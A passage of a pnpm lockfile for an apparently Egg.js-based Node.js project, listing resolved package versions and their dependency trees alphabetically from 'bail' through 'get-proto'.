debug\n    optional: true\n\n  bail@2.0.2: {}\n\n  balanced-match@1.0.2: {}\n\n  base64-js@1.5.1: {}\n\n  beautify-benchmark@0.2.4: {}\n\n  benchmark@2.1.4:\n    dependencies:\n      lodash: 4.17.21\n      platform: 1.3.6\n\n  bin-links@2.3.0:\n    dependencies:\n      cmd-shim: 4.1.0\n      mkdirp-infer-owner: 2.0.0\n      npm-normalize-package-bin: 1.0.1\n      read-cmd-shim: 2.0.0\n      rimraf: 3.0.2\n      write-file-atomic: 3.0.3\n\n  bin-links@4.0.4:\n    dependencies:\n      cmd-shim: 6.0.3\n      npm-normalize-package-bin: 3.0.1\n      read-cmd-shim: 4.0.0\n      write-file-atomic: 5.0.1\n\n  binary-extensions@2.3.0:\n    optional: true\n\n  binary-mirror-config@1.41.0: {}\n\n  birpc@2.8.0: {}\n\n  birpc@4.0.0: {}\n\n  black-hole-stream@0.0.1: {}\n\n  body-parser@1.20.3:\n    dependencies:\n      bytes: 3.1.2\n      content-type: 1.0.5\n      debug: 2.6.9\n      depd: 2.0.0\n      destroy: 1.2.0\n      http-errors: 2.0.0\n      iconv-lite: 0.4.24\n      on-finished: 2.4.1\n      qs: 6.13.0\n      raw-body: 2.5.2\n      type-is: 1.6.18\n      unpipe: 1.0.0\n    transitivePeerDependencies:\n      - supports-color\n\n  body-parser@2.2.2:\n    dependencies:\n      bytes: 3.1.2\n      content-type: 1.0.5\n      debug: 4.4.3(supports-color@8.1.1)\n      http-errors: 2.0.1\n      iconv-lite: 0.7.0\n      on-finished: 2.4.1\n      qs: 6.15.0\n      raw-body: 3.0.1\n      type-is: 2.0.1\n    transitivePeerDependencies:\n      - supports-color\n\n  boolbase@1.0.0: {}\n\n  brace-expansion@1.1.12:\n    dependencies:\n      balanced-match: 1.0.2\n      concat-map: 0.0.1\n\n  brace-expansion@2.0.2:\n    dependencies:\n      balanced-match: 1.0.2\n\n  braces@3.0.3:\n    dependencies:\n      fill-range: 7.1.1\n\n  browser-stdout@1.3.1: {}\n\n  buffer-from@1.1.2: {}\n\n  buffer@5.7.1:\n    dependencies:\n      base64-js: 1.5.1\n      ieee754: 1.2.1\n\n  bug-versions@1.117.0: {}\n\n  builtins@1.0.3: {}\n\n  busboy@1.6.0:\n    dependencies:\n      streamsearch: 1.1.0\n\n  byte@2.0.0:\n    dependencies:\n      debug: 3.2.7\n      long: 4.0.0\n      utility: 1.18.0\n    transitivePeerDependencies:\n      - supports-color\n\n  bytes@3.1.2: {}\n\n  c8@10.1.3:\n    dependencies:\n      '@bcoe/v8-coverage': 1.0.2\n      '@istanbuljs/schema': 0.1.3\n      find-up: 5.0.0\n      foreground-child: 3.3.1\n      istanbul-lib-coverage: 3.2.2\n      istanbul-lib-report: 3.0.1\n      istanbul-reports: 3.2.0\n      test-exclude: 7.0.1\n      v8-to-istanbul: 9.3.0\n      yargs: 17.7.2\n      yargs-parser: 21.1.1\n\n  cac@6.7.14: {}\n\n  cacache@16.1.3:\n    dependencies:\n      '@npmcli/fs': 2.1.2\n      '@npmcli/move-file': 2.0.1\n      chownr: 2.0.0\n      fs-minipass: 2.1.0\n      glob: 8.1.0\n      infer-owner: 1.0.4\n      lru-cache: 7.18.3\n      minipass: 3.3.6\n      minipass-collect: 1.0.2\n      minipass-flush: 1.0.5\n      minipass-pipeline: 1.2.4\n      mkdirp: 1.0.4\n      p-map: 4.0.0\n      promise-inflight: 1.0.1\n      rimraf: 3.0.2\n      ssri: 9.0.1\n      tar: 6.2.1\n      unique-filename: 2.0.1\n    transitivePeerDependencies:\n      - bluebird\n\n  cacache@17.1.4:\n    dependencies:\n      '@npmcli/fs': 3.1.1\n      fs-minipass: 3.0.3\n      glob: 10.5.0\n      lru-cache: 7.18.3\n      minipass: 7.1.2\n      minipass-collect: 1.0.2\n      minipass-flush: 1.0.5\n      minipass-pipeline: 1.2.4\n      p-map: 4.0.0\n      ssri: 10.0.6\n      tar: 6.2.1\n      unique-filename: 3.0.0\n\n  cache-content-type@2.1.0:\n    dependencies:\n      mime-types: 2.1.35\n      ylru: 2.0.0\n\n  cacheable-lookup@6.1.0: {}\n\n  call-bind-apply-helpers@1.0.2:\n    dependencies:\n      es-errors: 1.3.0\n      function-bind: 1.1.2\n\n  call-bind@1.0.8:\n    dependencies:\n      call-bind-apply-helpers: 1.0.2\n      es-define-property: 1.0.1\n      get-intrinsic: 1.3.0\n      set-function-length: 1.2.2\n\n  call-bound@1.0.4:\n    dependencies:\n      call-bind-apply-helpers: 1.0.2\n      get-intrinsic: 1.3.0\n\n  camel-case@3.0.0:\n    dependencies:\n      no-case: 2.3.2\n      upper-case: 1.1.3\n\n  camelcase@5.3.1: {}\n\n  camelcase@6.3.0: {}\n\n  camelcase@9.0.0: {}\n\n  ccount@2.0.1: {}\n\n  cfork@2.0.0:\n    dependencies:\n      utility: 2.5.0\n\n  chai@6.2.1: {}\n\n  chalk@2.4.2:\n    dependencies:\n      ansi-styles: 3.2.1\n      escape-string-regexp: 1.0.5\n      supports-color: 5.5.0\n\n  chalk@3.0.0:\n    dependencies:\n      ansi-styles: 4.3.0\n      supports-color: 7.2.0\n\n  chalk@4.1.2:\n    dependencies:\n      ansi-styles: 4.3.0\n      supports-color: 7.2.0\n\n  chalk@5.6.2: {}\n\n  chan@0.6.1: {}\n\n  change-case@3.1.0:\n    dependencies:\n      camel-case: 3.0.0\n      constant-case: 2.0.0\n      dot-case: 2.1.1\n      header-case: 1.0.1\n      is-lower-case: 1.1.3\n      is-upper-case: 1.1.2\n      lower-case: 1.1.4\n      lower-case-first: 1.0.2\n      no-case: 2.3.2\n      param-case: 2.1.1\n      pascal-case: 2.0.1\n      path-case: 2.1.1\n      sentence-case: 2.1.1\n      snake-case: 2.1.0\n      swap-case: 1.1.2\n      title-case: 2.1.1\n      upper-case: 1.1.3\n      upper-case-first: 1.1.2\n\n  character-entities-html4@2.1.0: {}\n\n  character-entities-legacy@3.0.0: {}\n\n  character-entities@2.0.2: {}\n\n  cheerio-select@2.1.0:\n    dependencies:\n      boolbase: 1.0.0\n      css-select: 5.2.2\n      css-what: 6.2.2\n      domelementtype: 2.3.0\n      domhandler: 5.0.3\n      domutils: 3.2.2\n\n  cheerio@1.1.2:\n    dependencies:\n      cheerio-select: 2.1.0\n      dom-serializer: 2.0.0\n      domhandler: 5.0.3\n      domutils: 3.2.2\n      encoding-sniffer: 0.2.1\n      htmlparser2: 10.0.0\n      parse5: 7.3.0\n      parse5-htmlparser2-tree-adapter: 7.1.0\n      parse5-parser-stream: 7.1.2\n      undici: 7.16.0\n      whatwg-mimetype: 4.0.0\n\n  chokidar@3.6.0:\n    dependencies:\n      anymatch: 3.1.3\n      braces: 3.0.3\n      glob-parent: 5.1.2\n      is-binary-path: 2.1.0\n      is-glob: 4.0.3\n      normalize-path: 3.0.0\n      readdirp: 3.6.0\n    optionalDependencies:\n      fsevents: 2.3.3\n    optional: true\n\n  chokidar@4.0.3:\n    dependencies:\n      readdirp: 4.1.2\n\n  chownr@2.0.0: {}\n\n  ci-info@4.3.1: {}\n\n  ci-parallel-vars@1.0.1: {}\n\n  circular-json-for-egg@1.0.0: {}\n\n  clean-stack@2.2.0: {}\n\n  clean-stack@3.0.1:\n    dependencies:\n      escape-string-regexp: 4.0.0\n\n  cli-cursor@3.1.0:\n    dependencies:\n      restore-cursor: 3.1.0\n\n  cli-cursor@5.0.0:\n    dependencies:\n      restore-cursor: 5.1.0\n\n  cli-spinners@2.9.2: {}\n\n  cli-truncate@5.1.1:\n    dependencies:\n      slice-ansi: 7.1.2\n      string-width: 8.1.0\n\n  cliui@5.0.0:\n    dependencies:\n      string-width: 3.1.0\n      strip-ansi: 5.2.0\n      wrap-ansi: 5.1.0\n\n  cliui@8.0.1:\n    dependencies:\n      string-width: 4.2.3\n      strip-ansi: 6.0.1\n      wrap-ansi: 7.0.0\n\n  clone@1.0.4: {}\n\n  cluster-client@3.7.0:\n    dependencies:\n      byte: 2.0.0\n      co: 4.6.0\n      egg-logger: 3.6.1\n      is-type-of: 1.4.0\n      json-stringify-safe: 5.0.1\n      long: 4.0.0\n      sdk-base: 4.2.1\n      serialize-json: 1.0.3\n      tcp-base: 3.2.0\n      utility: 2.5.0\n    transitivePeerDependencies:\n      - supports-color\n\n  cluster-key-slot@1.1.2: {}\n\n  cluster-reload@2.0.0: {}\n\n  cmd-extension@1.0.2: {}\n\n  cmd-shim@4.1.0:\n    dependencies:\n      mkdirp-infer-owner: 2.0.0\n\n  cmd-shim@6.0.3: {}\n\n  co-body@6.2.0:\n    dependencies:\n      '@hapi/bourne': 3.0.0\n      inflation: 2.1.0\n      qs: 6.15.0\n      raw-body: 2.5.2\n      type-is: 1.6.18\n\n  co-busboy@2.0.2:\n    dependencies:\n      black-hole-stream: 0.0.1\n      busboy: 1.6.0\n      chan: 0.6.1\n      inflation: 2.1.0\n\n  co@4.6.0: {}\n\n  coffee@5.5.1:\n    dependencies:\n      cross-spawn: 6.0.6\n      debug: 4.4.3(supports-color@8.1.1)\n      is-type-of: 1.4.0\n    transitivePeerDependencies:\n      - supports-color\n\n  color-convert@1.9.3:\n    dependencies:\n      color-name: 1.1.3\n\n  color-convert@2.0.1:\n    dependencies:\n      color-name: 1.1.4\n\n  color-name@1.1.3: {}\n\n  color-name@1.1.4: {}\n\n  color-support@1.1.3: {}\n\n  colorette@2.0.20: {}\n\n  combined-stream@1.0.8:\n    dependencies:\n      delayed-stream: 1.0.0\n\n  comma-separated-tokens@2.0.3: {}\n\n  commander@10.0.1: {}\n\n  commander@14.0.2: {}\n\n  commander@2.20.3: {}\n\n  commander@5.1.0: {}\n\n  common-ancestor-path@1.0.1: {}\n\n  common-bin@2.9.2:\n    dependencies:\n      '@types/dargs': 5.1.0\n      '@types/node': 10.17.60\n      '@types/yargs': 12.0.20\n      chalk: 2.4.2\n      change-case: 3.1.0\n      co: 4.6.0\n      dargs: 6.1.0\n      debug: 4.4.3(supports-color@8.1.1)\n      is-type-of: 1.4.0\n      semver: 5.7.2\n      yargs: 13.3.2\n      yargs-parser: 13.1.2\n    transitivePeerDependencies:\n      - supports-color\n\n  common-tags@1.8.2: {}\n\n  component-emitter@1.3.1: {}\n\n  concat-map@0.0.1: {}\n\n  confbox@0.2.2:\n    optional: true\n\n  config-chain@1.1.13:\n    dependencies:\n      ini: 1.3.8\n      proto-list: 1.2.4\n\n  console-control-strings@1.1.0: {}\n\n  console-table-printer@2.15.0:\n    dependencies:\n      simple-wcswidth: 1.1.2\n\n  constant-case@2.0.0:\n    dependencies:\n      snake-case: 2.1.0\n      upper-case: 1.1.3\n\n  content-disposition@0.5.4:\n    dependencies:\n      safe-buffer: 5.2.1\n\n  content-disposition@1.0.1: {}\n\n  content-type@1.0.5: {}\n\n  convert-source-map@2.0.0: {}\n\n  cookie-parser@1.4.7:\n    dependencies:\n      cookie: 0.7.2\n      cookie-signature: 1.0.6\n\n  cookie-signature@1.0.6: {}\n\n  cookie-signature@1.2.2: {}\n\n  cookie@0.7.1: {}\n\n  cookie@0.7.2: {}\n\n  cookie@1.0.2: {}\n\n  cookiejar@2.1.4: {}\n\n  cookies@0.9.1:\n    dependencies:\n      depd: 2.0.0\n      keygrip: 1.1.0\n\n  copy-anything@2.0.6:\n    dependencies:\n      is-what: 3.14.1\n    optional: true\n\n  copy-anything@3.0.5:\n    dependencies:\n      is-what: 4.1.16\n\n  copy-file@11.1.0:\n    dependencies:\n      graceful-fs: 4.2.11\n      p-event: 6.0.1\n\n  copy-to@2.0.1: {}\n\n  core-util-is@1.0.3: {}\n\n  cors@2.8.6:\n    dependencies:\n      object-assign: 4.1.1\n      vary: 1.1.2\n\n  cpy@12.0.1:\n    dependencies:\n      copy-file: 11.1.0\n      globby: 14.1.0\n      junk: 4.0.1\n      micromatch: 4.0.8\n      p-filter: 4.1.0\n      p-map: 7.0.3\n\n  crc@3.8.0:\n    dependencies:\n      buffer: 5.7.1\n\n  create-require@1.1.1: {}\n\n  cron-parser@4.9.0:\n    dependencies:\n      luxon: 3.7.2\n\n  cross-spawn@6.0.6:\n    dependencies:\n      nice-try: 1.0.5\n      path-key: 2.0.1\n      semver: 5.7.2\n      shebang-command: 1.2.0\n      which: 1.3.1\n\n  cross-spawn@7.0.6:\n    dependencies:\n      path-key: 3.1.1\n      shebang-command: 2.0.0\n      which: 2.0.2\n\n  csrf@3.1.0:\n    dependencies:\n      rndm: 1.2.0\n      tsscmp: 1.0.6\n      uid-safe: 2.1.5\n\n  css-select@5.2.2:\n    dependencies:\n      boolbase: 1.0.0\n      css-what: 6.2.2\n      domhandler: 5.0.3\n      domutils: 3.2.2\n      nth-check: 2.1.1\n\n  css-what@6.2.2: {}\n\n  cssesc@3.0.0: {}\n\n  cssfilter@0.0.10: {}\n\n  csstype@3.1.3: {}\n\n  dargs@6.1.0: {}\n\n  dayjs@1.11.18: {}\n\n  debounce@3.0.0: {}\n\n  debug@2.6.9:\n    dependencies:\n      ms: 2.0.0\n\n  debug@3.2.7:\n    dependencies:\n      ms: 2.1.3\n\n  debug@4.4.3(supports-color@8.1.1):\n    dependencies:\n      ms: 2.1.3\n    optionalDependencies:\n      supports-color: 8.1.1\n\n  decamelize@1.2.0: {}\n\n  decamelize@4.0.0: {}\n\n  decode-named-character-reference@1.2.0:\n    dependencies:\n      character-entities: 2.0.2\n\n  deep-equal@2.2.3:\n    dependencies:\n      array-buffer-byte-length: 1.0.2\n      call-bind: 1.0.8\n      es-get-iterator: 1.1.3\n      get-intrinsic: 1.3.0\n      is-arguments: 1.2.0\n      is-array-buffer: 3.0.5\n      is-date-object: 1.1.0\n      is-regex: 1.2.1\n      is-shared-array-buffer: 1.0.4\n      isarray: 2.0.5\n      object-is: 1.1.6\n      object-keys: 1.1.1\n      object.assign: 4.1.7\n      regexp.prototype.flags: 1.5.4\n      side-channel: 1.1.0\n      which-boxed-primitive: 1.1.1\n      which-collection: 1.0.2\n      which-typed-array: 1.1.19\n\n  deep-extend@0.6.0: {}\n\n  default-user-agent@1.0.0:\n    dependencies:\n      os-name: 1.0.3\n\n  defaults@1.0.4:\n    dependencies:\n      clone: 1.0.4\n\n  define-data-property@1.1.4:\n    dependencies:\n      es-define-property: 1.0.1\n      es-errors: 1.3.0\n      gopd: 1.2.0\n\n  define-properties@1.2.1:\n    dependencies:\n      define-data-property: 1.1.4\n      has-property-descriptors: 1.0.2\n      object-keys: 1.1.1\n\n  defu@6.1.4: {}\n\n  delayed-stream@1.0.0: {}\n\n  delegates@1.0.0: {}\n\n  denque@2.1.0: {}\n\n  depd@1.1.2: {}\n\n  depd@2.0.0: {}\n\n  dequal@2.0.3: {}\n\n  destroy@1.2.0: {}\n\n  detect-libc@1.0.3:\n    optional: true\n\n  detect-libc@2.1.2: {}\n\n  detect-port@2.1.0:\n    dependencies:\n      address: 2.0.3\n\n  devlop@1.1.0:\n    dependencies:\n      dequal: 2.0.3\n\n  dezalgo@1.0.4:\n    dependencies:\n      asap: 2.0.6\n      wrappy: 1.0.2\n\n  diff@4.0.2: {}\n\n  diff@7.0.0: {}\n\n  digest-header@1.1.0: {}\n\n  dir-glob@3.0.1:\n    dependencies:\n      path-type: 4.0.0\n\n  dom-serializer@2.0.0:\n    dependencies:\n      domelementtype: 2.3.0\n      domhandler: 5.0.3\n      entities: 4.5.0\n\n  domelementtype@2.3.0: {}\n\n  domhandler@5.0.3:\n    dependencies:\n      domelementtype: 2.3.0\n\n  domutils@3.2.2:\n    dependencies:\n      dom-serializer: 2.0.0\n      domelementtype: 2.3.0\n      domhandler: 5.0.3\n\n  dot-case@2.1.1:\n    dependencies:\n      no-case: 2.3.2\n\n  dts-resolver@2.1.3(oxc-resolver@11.10.0):\n    optionalDependencies:\n      oxc-resolver: 11.10.0\n\n  dunder-proto@1.0.1:\n    dependencies:\n      call-bind-apply-helpers: 1.0.2\n      es-errors: 1.3.0\n      gopd: 1.2.0\n\n  duplexer@0.1.2: {}\n\n  eastasianwidth@0.2.0: {}\n\n  editorconfig@1.0.4:\n    dependencies:\n      '@one-ini/wasm': 0.1.1\n      commander: 10.0.1\n      minimatch: 9.0.1\n      semver: 7.7.3\n\n  ee-first@1.1.1: {}\n\n  egg-errors@2.3.2: {}\n\n  egg-logger@3.6.1:\n    dependencies:\n      chalk: 4.1.2\n      circular-json-for-egg: 1.0.0\n      depd: 2.0.0\n      egg-errors: 2.3.2\n      iconv-lite: 0.6.3\n      utility: 2.5.0\n\n  egg-plugin-puml@2.4.0:\n    dependencies:\n      common-bin: 2.9.2\n      egg-utils: 2.5.0\n      mkdirp: 0.5.6\n    transitivePeerDependencies:\n      - supports-color\n\n  egg-utils@2.5.0:\n    dependencies:\n      mkdirp: 0.5.6\n      utility: 1.18.0\n\n  egg-view-nunjucks@2.3.0(chokidar@3.6.0):\n    dependencies:\n      nunjucks: 3.2.4(chokidar@3.6.0)\n    transitivePeerDependencies:\n      - chokidar\n\n  ejs@3.1.10:\n    dependencies:\n      jake: 10.9.4\n\n  emoji-regex@10.6.0: {}\n\n  emoji-regex@7.0.3: {}\n\n  emoji-regex@8.0.0: {}\n\n  emoji-regex@9.2.2: {}\n\n  empathic@2.0.0: {}\n\n  encodeurl@1.0.2: {}\n\n  encodeurl@2.0.0: {}\n\n  encoding-sniffer@0.2.1:\n    dependencies:\n      iconv-lite: 0.6.3\n      whatwg-encoding: 3.1.1\n\n  encoding@0.1.13:\n    dependencies:\n      iconv-lite: 0.6.3\n    optional: true\n\n  end-of-stream@1.4.5:\n    dependencies:\n      once: 1.4.0\n\n  entities@4.5.0: {}\n\n  entities@6.0.1: {}\n\n  env-paths@2.2.1: {}\n\n  environment@1.1.0: {}\n\n  err-code@2.0.3: {}\n\n  errno@0.1.8:\n    dependencies:\n      prr: 1.0.1\n    optional: true\n\n  es-define-property@1.0.1: {}\n\n  es-errors@1.3.0: {}\n\n  es-get-iterator@1.1.3:\n    dependencies:\n      call-bind: 1.0.8\n      get-intrinsic: 1.3.0\n      has-symbols: 1.1.0\n      is-arguments: 1.2.0\n      is-map: 2.0.3\n      is-set: 2.0.3\n      is-string: 1.1.1\n      isarray: 2.0.5\n      stop-iteration-iterator: 1.1.0\n\n  es-module-lexer@1.7.0: {}\n\n  es-object-atoms@1.1.1:\n    dependencies:\n      es-errors: 1.3.0\n\n  es-set-tostringtag@2.1.0:\n    dependencies:\n      es-errors: 1.3.0\n      get-intrinsic: 1.3.0\n      has-tostringtag: 1.0.2\n      hasown: 2.0.2\n\n  esbuild-register@3.6.0(esbuild@0.27.0):\n    dependencies:\n      debug: 4.4.3(supports-color@8.1.1)\n      esbuild: 0.27.0\n    transitivePeerDependencies:\n      - supports-color\n\n  esbuild@0.25.12:\n    optionalDependencies:\n      '@esbuild/aix-ppc64': 0.25.12\n      '@esbuild/android-arm': 0.25.12\n      '@esbuild/android-arm64': 0.25.12\n      '@esbuild/android-x64': 0.25.12\n      '@esbuild/darwin-arm64': 0.25.12\n      '@esbuild/darwin-x64': 0.25.12\n      '@esbuild/freebsd-arm64': 0.25.12\n      '@esbuild/freebsd-x64': 0.25.12\n      '@esbuild/linux-arm': 0.25.12\n      '@esbuild/linux-arm64': 0.25.12\n      '@esbuild/linux-ia32': 0.25.12\n      '@esbuild/linux-loong64': 0.25.12\n      '@esbuild/linux-mips64el': 0.25.12\n      '@esbuild/linux-ppc64': 0.25.12\n      '@esbuild/linux-riscv64': 0.25.12\n      '@esbuild/linux-s390x': 0.25.12\n      '@esbuild/linux-x64': 0.25.12\n      '@esbuild/netbsd-arm64': 0.25.12\n      '@esbuild/netbsd-x64': 0.25.12\n      '@esbuild/openbsd-arm64': 0.25.12\n      '@esbuild/openbsd-x64': 0.25.12\n      '@esbuild/openharmony-arm64': 0.25.12\n      '@esbuild/sunos-x64': 0.25.12\n      '@esbuild/win32-arm64': 0.25.12\n      '@esbuild/win32-ia32': 0.25.12\n      '@esbuild/win32-x64': 0.25.12\n\n  esbuild@0.27.0:\n    optionalDependencies:\n      '@esbuild/aix-ppc64': 0.27.0\n      '@esbuild/android-arm': 0.27.0\n      '@esbuild/android-arm64': 0.27.0\n      '@esbuild/android-x64': 0.27.0\n      '@esbuild/darwin-arm64': 0.27.0\n      '@esbuild/darwin-x64': 0.27.0\n      '@esbuild/freebsd-arm64': 0.27.0\n      '@esbuild/freebsd-x64': 0.27.0\n      '@esbuild/linux-arm': 0.27.0\n      '@esbuild/linux-arm64': 0.27.0\n      '@esbuild/linux-ia32': 0.27.0\n      '@esbuild/linux-loong64': 0.27.0\n      '@esbuild/linux-mips64el': 0.27.0\n      '@esbuild/linux-ppc64': 0.27.0\n      '@esbuild/linux-riscv64': 0.27.0\n      '@esbuild/linux-s390x': 0.27.0\n      '@esbuild/linux-x64': 0.27.0\n      '@esbuild/netbsd-arm64': 0.27.0\n      '@esbuild/netbsd-x64': 0.27.0\n      '@esbuild/openbsd-arm64': 0.27.0\n      '@esbuild/openbsd-x64': 0.27.0\n      '@esbuild/openharmony-arm64': 0.27.0\n      '@esbuild/sunos-x64': 0.27.0\n      '@esbuild/win32-arm64': 0.27.0\n      '@esbuild/win32-ia32': 0.27.0\n      '@esbuild/win32-x64': 0.27.0\n\n  escalade@3.2.0: {}\n\n  escape-html@1.0.3: {}\n\n  escape-string-regexp@1.0.5: {}\n\n  escape-string-regexp@4.0.0: {}\n\n  escape-string-regexp@5.0.0: {}\n\n  esprima@4.0.1: {}\n\n  estree-walker@2.0.2: {}\n\n  estree-walker@3.0.3:\n    dependencies:\n      '@types/estree': 1.0.8\n\n  etag@1.8.1: {}\n\n  event-stream@4.0.1:\n    dependencies:\n      duplexer: 0.1.2\n      from: 0.1.7\n      map-stream: 0.0.7\n      pause-stream: 0.0.11\n      split: 1.0.1\n      stream-combiner: 0.2.2\n      through: 2.3.8\n\n  eventemitter3@4.0.7: {}\n\n  eventemitter3@5.0.1: {}\n\n  eventsource-parser@3.0.6: {}\n\n  eventsource@3.0.7:\n    dependencies:\n      eventsource-parser: 3.0.6\n\n  execa@5.1.1:\n    dependencies:\n      cross-spawn: 7.0.6\n      get-stream: 6.0.1\n      human-signals: 2.1.0\n      is-stream: 2.0.1\n      merge-stream: 2.0.0\n      npm-run-path: 4.0.1\n      onetime: 5.1.2\n      signal-exit: 3.0.7\n      strip-final-newline: 2.0.0\n\n  execa@9.6.0:\n    dependencies:\n      '@sindresorhus/merge-streams': 4.0.0\n      cross-spawn: 7.0.6\n      figures: 6.1.0\n      get-stream: 9.0.1\n      human-signals: 8.0.1\n      is-plain-obj: 4.1.0\n      is-stream: 4.0.1\n      npm-run-path: 6.0.0\n      pretty-ms: 9.3.0\n      signal-exit: 4.1.0\n      strip-final-newline: 4.0.0\n      yoctocolors: 2.1.2\n\n  expect-type@1.3.0: {}\n\n  exponential-backoff@3.1.3: {}\n\n  express-rate-limit@8.2.1(express@5.2.1):\n    dependencies:\n      express: 5.2.1\n      ip-address: 10.0.1\n\n  express@4.21.2:\n    dependencies:\n      accepts: 1.3.8\n      array-flatten: 1.1.1\n      body-parser: 1.20.3\n      content-disposition: 0.5.4\n      content-type: 1.0.5\n      cookie: 0.7.1\n      cookie-signature: 1.0.6\n      debug: 2.6.9\n      depd: 2.0.0\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      etag: 1.8.1\n      finalhandler: 1.3.1\n      fresh: 0.5.2\n      http-errors: 2.0.0\n      merge-descriptors: 1.0.3\n      methods: 1.1.2\n      on-finished: 2.4.1\n      parseurl: 1.3.3\n      path-to-regexp: 0.1.12\n      proxy-addr: 2.0.7\n      qs: 6.13.0\n      range-parser: 1.2.1\n      safe-buffer: 5.2.1\n      send: 0.19.0\n      serve-static: 1.16.2\n      setprototypeof: 1.2.0\n      statuses: 2.0.1\n      type-is: 1.6.18\n      utils-merge: 1.0.1\n      vary: 1.1.2\n    transitivePeerDependencies:\n      - supports-color\n\n  express@5.2.1:\n    dependencies:\n      accepts: 2.0.0\n      body-parser: 2.2.2\n      content-disposition: 1.0.1\n      content-type: 1.0.5\n      cookie: 0.7.2\n      cookie-signature: 1.2.2\n      debug: 4.4.3(supports-color@8.1.1)\n      depd: 2.0.0\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      etag: 1.8.1\n      finalhandler: 2.1.1\n      fresh: 2.0.0\n      http-errors: 2.0.1\n      merge-descriptors: 2.0.0\n      mime-types: 3.0.2\n      on-finished: 2.4.1\n      once: 1.4.0\n      parseurl: 1.3.3\n      proxy-addr: 2.0.7\n      qs: 6.15.0\n      range-parser: 1.2.1\n      router: 2.2.0\n      send: 1.2.1\n      serve-static: 2.2.1\n      statuses: 2.0.2\n      type-is: 2.0.1\n      vary: 1.1.2\n    transitivePeerDependencies:\n      - supports-color\n\n  exsolve@1.0.7:\n    optional: true\n\n  extend-shallow@2.0.1:\n    dependencies:\n      is-extendable: 0.1.1\n\n  extend2@4.0.0: {}\n\n  extend@3.0.2: {}\n\n  extended-eventsource@1.7.0:\n    optional: true\n\n  fast-deep-equal@3.1.3: {}\n\n  fast-glob@3.3.3:\n    dependencies:\n      '@nodelib/fs.stat': 2.0.5\n      '@nodelib/fs.walk': 1.2.8\n      glob-parent: 5.1.2\n      merge2: 1.4.1\n      micromatch: 4.0.8\n\n  fast-safe-stringify@2.1.1: {}\n\n  fast-uri@3.1.0: {}\n\n  fastq@1.19.1:\n    dependencies:\n      reusify: 1.1.0\n\n  fault@2.0.1:\n    dependencies:\n      format: 0.2.2\n\n  fdir@6.5.0(picomatch@4.0.3):\n    optionalDependencies:\n      picomatch: 4.0.3\n\n  fengari-interop@0.1.4(fengari@0.1.5):\n    dependencies:\n      fengari: 0.1.5\n\n  fengari@0.1.5:\n    dependencies:\n      readline-sync: 1.4.10\n      sprintf-js: 1.1.3\n      tmp: 0.2.5\n\n  fflate@0.8.2: {}\n\n  figures@6.1.0:\n    dependencies:\n      is-unicode-supported: 2.1.0\n\n  filelist@1.0.4:\n    dependencies:\n      minimatch: 5.1.6\n\n  fill-range@7.1.1:\n    dependencies:\n      to-regex-range: 5.0.1\n\n  finalhandler@1.3.1:\n    dependencies:\n      debug: 2.6.9\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      on-finished: 2.4.1\n      parseurl: 1.3.3\n      statuses: 2.0.1\n      unpipe: 1.0.0\n    transitivePeerDependencies:\n      - supports-color\n\n  finalhandler@2.1.1:\n    dependencies:\n      debug: 4.4.3(supports-color@8.1.1)\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      on-finished: 2.4.1\n      parseurl: 1.3.3\n      statuses: 2.0.2\n    transitivePeerDependencies:\n      - supports-color\n\n  find-up@3.0.0:\n    dependencies:\n      locate-path: 3.0.0\n\n  find-up@5.0.0:\n    dependencies:\n      locate-path: 6.0.0\n      path-exists: 4.0.0\n\n  flat@5.0.2: {}\n\n  flatted@3.3.3: {}\n\n  focus-trap@7.6.6:\n    dependencies:\n      tabbable: 6.3.0\n\n  follow-redirects@1.15.11:\n    optional: true\n\n  for-each@0.3.5:\n    dependencies:\n      is-callable: 1.2.7\n\n  foreground-child@3.3.1:\n    dependencies:\n      cross-spawn: 7.0.6\n      signal-exit: 4.1.0\n\n  form-data-encoder@1.9.0: {}\n\n  form-data@4.0.5:\n    dependencies:\n      asynckit: 0.4.0\n      combined-stream: 1.0.8\n      es-set-tostringtag: 2.1.0\n      hasown: 2.0.2\n      mime-types: 2.1.35\n\n  format@0.2.2: {}\n\n  formdata-node@4.4.1:\n    dependencies:\n      node-domexception: 1.0.0\n      web-streams-polyfill: 4.0.0-beta.3\n\n  formidable@3.5.4:\n    dependencies:\n      '@paralleldrive/cuid2': 2.2.2\n      dezalgo: 1.0.4\n      once: 1.4.0\n\n  formstream@1.5.2:\n    dependencies:\n      destroy: 1.2.0\n      mime: 2.6.0\n      node-hex: 1.0.1\n      pause-stream: 0.0.11\n\n  forwarded@0.2.0: {}\n\n  fresh@0.5.2: {}\n\n  fresh@2.0.0: {}\n\n  from@0.1.7: {}\n\n  fs-extra@7.0.1:\n    dependencies:\n      graceful-fs: 4.2.11\n      jsonfile: 4.0.0\n      universalify: 0.1.2\n\n  fs-minipass@2.1.0:\n    dependencies:\n      minipass: 3.3.6\n\n  fs-minipass@3.0.3:\n    dependencies:\n      minipass: 7.1.2\n\n  fs-readdir-recursive@1.1.0: {}\n\n  fs.realpath@1.0.0: {}\n\n  fsevents@2.3.3:\n    optional: true\n\n  function-bind@1.1.2: {}\n\n  functions-have-names@1.2.3: {}\n\n  gals@1.0.2: {}\n\n  gauge@4.0.4:\n    dependencies:\n      aproba: 2.1.0\n      color-support: 1.1.3\n      console-control-strings: 1.1.0\n      has-unicode: 2.0.1\n      signal-exit: 3.0.7\n      string-width: 4.2.3\n      strip-ansi: 6.0.1\n      wide-align: 1.1.5\n\n  gauge@5.0.2:\n    dependencies:\n      aproba: 2.1.0\n      color-support: 1.1.3\n      console-control-strings: 1.1.0\n      has-unicode: 2.0.1\n      signal-exit: 4.1.0\n      string-width: 4.2.3\n      strip-ansi: 6.0.1\n      wide-align: 1.1.5\n\n  generate-function@2.3.1:\n    dependencies:\n      is-property: 1.0.2\n\n  get-caller-file@2.0.5: {}\n\n  get-east-asian-width@1.4.0: {}\n\n  get-intrinsic@1.3.0:\n    dependencies:\n      call-bind-apply-helpers: 1.0.2\n      es-define-property: 1.0.1\n      es-errors: 1.3.0\n      es-object-atoms: 1.1.1\n      function-bind: 1.1.2\n      get-proto: 1.0.1\n      gopd: 1.2.0\n      has-symbols: 1.1.0\n      hasown: 2.0.2\n      math-intrinsics: 1.1.0\n\n  get-package-type@0.1.0: {}\n\n  get-proto@1.0.1:\n    dependencies:\n      dunder-proto: 1.0.1\n      es-object-atoms: 1.1.1\n\n  